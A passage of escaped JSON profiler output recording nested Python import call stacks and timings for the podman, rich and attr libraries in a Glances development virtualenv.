importlib._bootstrap>\\u00001360\",\"time\": 0.036951,\"attributes\": {\"l1371\": 0.03695059099845821},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.036951,\"attributes\": {\"l1342\": 0.03695059099845821},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.036951,\"attributes\": {\"l938\": 0.03695059099845821},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.036951,\"attributes\": {\"cSourceFileLoader\": 0.03695059099845821, \"l762\": 0.03695059099845821},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.036951,\"attributes\": {\"l491\": 0.03695059099845821},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/domain/images.py\\u00001\",\"time\": 0.001953,\"attributes\": {\"l10\": 0.001953432998561766},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001953,\"attributes\": {\"l1371\": 0.001953432998561766},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001953,\"attributes\": {\"l1342\": 0.001953432998561766},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001953,\"attributes\": {\"l938\": 0.001953432998561766},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001953,\"attributes\": {\"cSourceFileLoader\": 0.001953432998561766, \"l762\": 0.001953432998561766},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001953,\"attributes\": {\"l491\": 0.001953432998561766},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/domain/manager.py\\u00001\",\"time\": 0.001953,\"attributes\": {\"l14\": 0.001953432998561766},\"children\": [{\"identifier\": \"_type_check\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u0000184\",\"time\": 0.001953,\"attributes\": {\"l202\": 0.001953432998561766},\"children\": [{\"identifier\": \"_type_convert\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u0000175\",\"time\": 0.001953,\"attributes\": {\"l180\": 0.001953432998561766},\"children\": [{\"identifier\": \"_make_forward_ref\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u0000952\",\"time\": 0.001953,\"attributes\": {\"l960\": 0.001953432998561766},\"children\": [{\"identifier\": \"__forward_code__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/annotationlib.py\\u0000239\",\"time\": 0.001953,\"attributes\": {\"cForwardRef\": 0.001953432998561766, \"l252\": 0.001953432998561766},\"children\": [{\"identifier\": \"compile\\u0000<built-in>\\u00000\",\"time\": 0.001953,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001953,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/domain/images_manager.py\\u00001\",\"time\": 0.034997,\"attributes\": {\"l24\": 0.034997157999896444},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.034997,\"attributes\": {\"l1371\": 0.034997157999896444},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.034997,\"attributes\": {\"l1342\": 0.034997157999896444},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.034997,\"attributes\": {\"l938\": 0.034997157999896444},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.034997,\"attributes\": {\"cSourceFileLoader\": 0.034997157999896444, \"l762\": 0.034997157999896444},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.034997,\"attributes\": {\"l491\": 0.034997157999896444},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/progress.py\\u00001\",\"time\": 0.034997,\"attributes\": {\"l44\": 0.03007967400480993, \"l47\": 0.0030204559952835552, \"l926\": 0.0018970279998029582},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.033100,\"attributes\": {\"l1371\": 0.033100130000093486},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.033100,\"attributes\": {\"l1342\": 0.033100130000093486},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.033100,\"attributes\": {\"l938\": 0.033100130000093486},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.033100,\"attributes\": {\"cSourceFileLoader\": 0.033100130000093486, \"l758\": 0.00531681099528214, \"l762\": 0.027783319004811347},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002296,\"attributes\": {\"cSourceFileLoader\": 0.0022963549999985844, \"l891\": 0.0022963549999985844},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002296,\"attributes\": {\"l514\": 0.0022963549999985844},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002296,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002296,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.027783,\"attributes\": {\"l491\": 0.027783319004811347},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/console.py\\u00001\",\"time\": 0.027783,\"attributes\": {\"l40\": 0.003686576004838571, \"l41\": 0.002974412993353326, \"l44\": 0.005024061007134151, \"l53\": 0.012000237999018282, \"l56\": 0.004098031000467017},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.003687,\"attributes\": {\"l1426\": 0.003686576004838571},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.003687,\"attributes\": {\"l491\": 0.003686576004838571},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.003687,\"attributes\": {\"l1371\": 0.003686576004838571},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.003687,\"attributes\": {\"l1342\": 0.003686576004838571},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.003687,\"attributes\": {\"l938\": 0.003686576004838571},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.003687,\"attributes\": {\"cSourceFileLoader\": 0.003686576004838571, \"l762\": 0.003686576004838571},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.003687,\"attributes\": {\"l491\": 0.003686576004838571},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/themes.py\\u00001\",\"time\": 0.003687,\"attributes\": {\"l1\": 0.003686576004838571},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.003687,\"attributes\": {\"l1368\": 0.0016833750050864182, \"l1371\": 0.0020032009997521527},\"children\": [{\"identifier\": \"__enter__\\u0000<frozen importlib._bootstrap>\\u0000419\",\"time\": 0.001683,\"attributes\": {\"c_ModuleLockManager\": 0.0016833750050864182, \"l421\": 0.0016833750050864182},\"children\": [{\"identifier\": \"acquire\\u0000<frozen importlib._bootstrap>\\u0000304\",\"time\": 0.001683,\"attributes\": {\"c_ModuleLock\": 0.0016833750050864182, \"l311\": 0.0016833750050864182},\"children\": [{\"identifier\": \"__enter__\\u0000<frozen importlib._bootstrap>\\u0000162\",\"time\": 0.001683,\"attributes\": {\"c_BlockingOnManager\": 0.0016833750050864182, \"l170\": 0.0016833750050864182},\"children\": [{\"identifier\": \"setdefault\\u0000<frozen importlib._bootstrap>\\u0000124\",\"time\": 0.001683,\"attributes\": {\"c_WeakValueDictionary\": 0.0016833750050864182, \"l132\": 0.0016833750050864182},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001683,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002003,\"attributes\": {\"l1342\": 0.0020032009997521527},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002003,\"attributes\": {\"l938\": 0.0020032009997521527},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002003,\"attributes\": {\"cSourceFileLoader\": 0.0020032009997521527, \"l762\": 0.0020032009997521527},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002003,\"attributes\": {\"l491\": 0.0020032009997521527},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/default_styles.py\\u00001\",\"time\": 0.002003,\"attributes\": {\"l3\": 0.0020032009997521527},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002003,\"attributes\": {\"l1371\": 0.0020032009997521527},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002003,\"attributes\": {\"l1342\": 0.0020032009997521527},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002003,\"attributes\": {\"l938\": 0.0020032009997521527},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002003,\"attributes\": {\"cSourceFileLoader\": 0.0020032009997521527, \"l762\": 0.0020032009997521527},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002003,\"attributes\": {\"l491\": 0.0020032009997521527},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/style.py\\u00001\",\"time\": 0.002003,\"attributes\": {\"l9\": 0.0020032009997521527},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002003,\"attributes\": {\"l1371\": 0.0020032009997521527},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002003,\"attributes\": {\"l1342\": 0.0020032009997521527},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002003,\"attributes\": {\"l938\": 0.0020032009997521527},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002003,\"attributes\": {\"cSourceFileLoader\": 0.0020032009997521527, \"l762\": 0.0020032009997521527},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002003,\"attributes\": {\"l491\": 0.0020032009997521527},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/color.py\\u00001\",\"time\": 0.002003,\"attributes\": {\"l21\": 0.0020032009997521527},\"children\": [{\"identifier\": \"ColorSystem\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/color.py\\u000021\",\"time\": 0.002003,\"attributes\": {\"l27\": 0.0020032009997521527},\"children\": [{\"identifier\": \"__setitem__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/enum.py\\u0000341\",\"time\": 0.002003,\"attributes\": {\"cEnumDict\": 0.0020032009997521527, \"l413\": 0.0020032009997521527},\"children\": [{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.024097,\"attributes\": {\"l1371\": 0.024096742999972776},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.024097,\"attributes\": {\"l1342\": 0.024096742999972776},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.024097,\"attributes\": {\"l938\": 0.024096742999972776},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.024097,\"attributes\": {\"cSourceFileLoader\": 0.024096742999972776, \"l762\": 0.024096742999972776},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.024097,\"attributes\": {\"l491\": 0.024096742999972776},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/_emoji_replace.py\\u00001\",\"time\": 0.002974,\"attributes\": {\"l4\": 0.002974412993353326},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002974,\"attributes\": {\"l1371\": 0.002974412993353326},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002974,\"attributes\": {\"l1342\": 0.002974412993353326},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002974,\"attributes\": {\"l938\": 0.002974412993353326},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002974,\"attributes\": {\"cSourceFileLoader\": 0.002974412993353326, \"l758\": 0.002974412993353326},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002974,\"attributes\": {\"cSourceFileLoader\": 0.002974412993353326, \"l891\": 0.002974412993353326},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002974,\"attributes\": {\"l514\": 0.002974412993353326},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002974,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002974,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/_log_render.py\\u00001\",\"time\": 0.005024,\"attributes\": {\"l5\": 0.005024061007134151},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005024,\"attributes\": {\"l1371\": 0.005024061007134151},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.005024,\"attributes\": {\"l1333\": 0.0010223520002909936, \"l1342\": 0.004001709006843157},\"children\": [{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.001022,\"attributes\": {\"l1267\": 0.0010223520002909936},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001287\",\"time\": 0.001022,\"attributes\": {\"cPathFinder\": 0.0010223520002909936, \"l1295\": 0.0010223520002909936},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.001022,\"attributes\": {\"cPathFinder\": 0.0010223520002909936, \"l1267\": 0.0010223520002909936},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001022,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004002,\"attributes\": {\"l938\": 0.004001709006843157},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004002,\"attributes\": {\"cSourceFileLoader\": 0.004001709006843157, \"l762\": 0.004001709006843157},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.004002,\"attributes\": {\"l491\": 0.004001709006843157},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/text.py\\u00001\",\"time\": 0.004002,\"attributes\": {\"l22\": 0.0020283610065234825, \"l26\": 0.0019733480003196746},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.004002,\"attributes\": {\"l1371\": 0.004001709006843157},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.004002,\"attributes\": {\"l1342\": 0.004001709006843157},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004002,\"attributes\": {\"l938\": 0.0020283610065234825, \"l951\": 0.0019733480003196746},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002028,\"attributes\": {\"cSourceFileLoader\": 0.0020283610065234825, \"l762\": 0.0020283610065234825},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002028,\"attributes\": {\"l491\": 0.0020283610065234825},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/align.py\\u00001\",\"time\": 0.002028,\"attributes\": {\"l4\": 0.0020283610065234825},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002028,\"attributes\": {\"l1371\": 0.0020283610065234825},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002028,\"attributes\": {\"l1342\": 0.0020283610065234825},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002028,\"attributes\": {\"l938\": 0.0020283610065234825},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002028,\"attributes\": {\"cSourceFileLoader\": 0.0020283610065234825, \"l762\": 0.0020283610065234825},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002028,\"attributes\": {\"l491\": 0.0020283610065234825},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/constrain.py\\u00001\",\"time\": 0.002028,\"attributes\": {\"l3\": 0.0020283610065234825},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002028,\"attributes\": {\"l1371\": 0.0020283610065234825},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002028,\"attributes\": {\"l1342\": 0.0020283610065234825},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002028,\"attributes\": {\"l938\": 0.0020283610065234825},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002028,\"attributes\": {\"cSourceFileLoader\": 0.0020283610065234825, \"l758\": 0.0020283610065234825},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002028,\"attributes\": {\"cSourceFileLoader\": 0.0020283610065234825, \"l891\": 0.0020283610065234825},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002028,\"attributes\": {\"l514\": 0.0020283610065234825},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002028,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002028,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_verbose_message\\u0000<frozen importlib._bootstrap>\\u0000494\",\"time\": 0.001973,\"attributes\": {\"l496\": 0.0019733480003196746},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001973,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/pretty.py\\u00001\",\"time\": 0.012000,\"attributes\": {\"l33\": 0.009999273999710567, \"l42\": 0.0020009639993077144},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.012000,\"attributes\": {\"l1368\": 0.001999800995690748, \"l1371\": 0.010000437003327534},\"children\": [{\"identifier\": \"__enter__\\u0000<frozen importlib._bootstrap>\\u0000419\",\"time\": 0.002000,\"attributes\": {\"c_ModuleLockManager\": 0.001999800995690748, \"l421\": 0.001999800995690748},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.010000,\"attributes\": {\"l1342\": 0.010000437003327534},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.010000,\"attributes\": {\"l938\": 0.010000437003327534},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.010000,\"attributes\": {\"cSourceFileLoader\": 0.010000437003327534, \"l762\": 0.010000437003327534},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.010000,\"attributes\": {\"l491\": 0.010000437003327534},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/attr/__init__.py\\u00001\",\"time\": 0.007999,\"attributes\": {\"l10\": 0.00799947300401982},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.007999,\"attributes\": {\"l1426\": 0.00799947300401982},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.007999,\"attributes\": {\"l491\": 0.00799947300401982},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.007999,\"attributes\": {\"l1371\": 0.00799947300401982},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.007999,\"attributes\": {\"l1342\": 0.00799947300401982},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.007999,\"attributes\": {\"l938\": 0.00799947300401982},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.007999,\"attributes\": {\"cSourceFileLoader\": 0.00799947300401982, \"l762\": 0.00799947300401982},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.007999,\"attributes\": {\"l491\": 0.00799947300401982},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/attr/converters.py\\u00001\",\"time\": 0.004080,\"attributes\": {\"l10\": 0.004080147002241574},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.004080,\"attributes\": {\"l1371\": 0.004080147002241574},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.004080,\"attributes\": {\"l1342\": 0.004080147002241574},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004080,\"attributes\": {\"l938\": 0.004080147002241574},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004080,\"attributes\": {\"cSourceFileLoader\": 0.004080147002241574, \"l762\": 0.004080147002241574},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.004080,\"attributes\": {\"l491\": 0.004080147002241574},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/attr/_make.py\\u00001\",\"time\": 0.004080,\"attributes\": {\"l2625\": 0.002003676003369037, \"l3158\": 0.002076470998872537},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/attr/_make.py\\u00002483\",\"time\": 0.002004,\"attributes\": {\"cAttribute\": 0.002003676003369037, \"l2536\": 0.002003676003369037},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_add_repr\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/attr/_make.py\\u00001870\",\"time\": 0.002076,\"attributes\": {\"cConverter\": 0.002076470998872537, \"l1878\": 0.002076470998872537},\"children\": [{\"identifier\": \"_compile_and_eval\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/attr/_make.py\\u0000216\",\"time\": 0.002076,\"attributes\": {\"l226\": 0.002076470998872537},\"children\": [{\"identifier\": \"compile\\u0000<built-in>\\u00000\",\"time\": 0.002076,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002076,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/attr/validators.py\\u00001\",\"time\": 0.003919,\"attributes\": {\"l233\": 0.001921930001117289, \"l594\": 0.001997396000660956},\"children\": [{\"identifier\": \"wrap\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/attr/_make.py\\u00001435\",\"time\": 0.003919,\"attributes\": {\"c_InValidator\": 0.001921930001117289, \"l1525\": 0.003919326001778245, \"c_SubclassOfValidator\": 0.001997396000660956},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/attr/_make.py\\u0000666\",\"time\": 0.003919,\"attributes\": {\"c_ClassBuilder\": 0.003919326001778245, \"l674\": 0.001921930001117289, \"l750\": 0.001997396000660956},\"children\": [{\"identifier\": \"_transform_attrs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/attr/_make.py\\u0000379\",\"time\": 0.001922,\"attributes\": {\"c_InValidator\": 0.001921930001117289, \"l496\": 0.001921930001117289},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.001922,\"attributes\": {\"l1\": 0.001921930001117289},\"children\": [{\"identifier\": \"tuple.__new__\\u0000<built-in>\\u00000\",\"time\": 0.001922,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001922,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/abc.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l21\": 0.0020009639993077144},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/scope.py\\u00001\",\"time\": 0.004098,\"attributes\": {\"l5\": 0.0019992919987998903, \"l7\": 0.002098739001667127},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.004098,\"attributes\": {\"l1371\": 0.004098031000467017},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.004098,\"attributes\": {\"l1342\": 0.004098031000467017},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 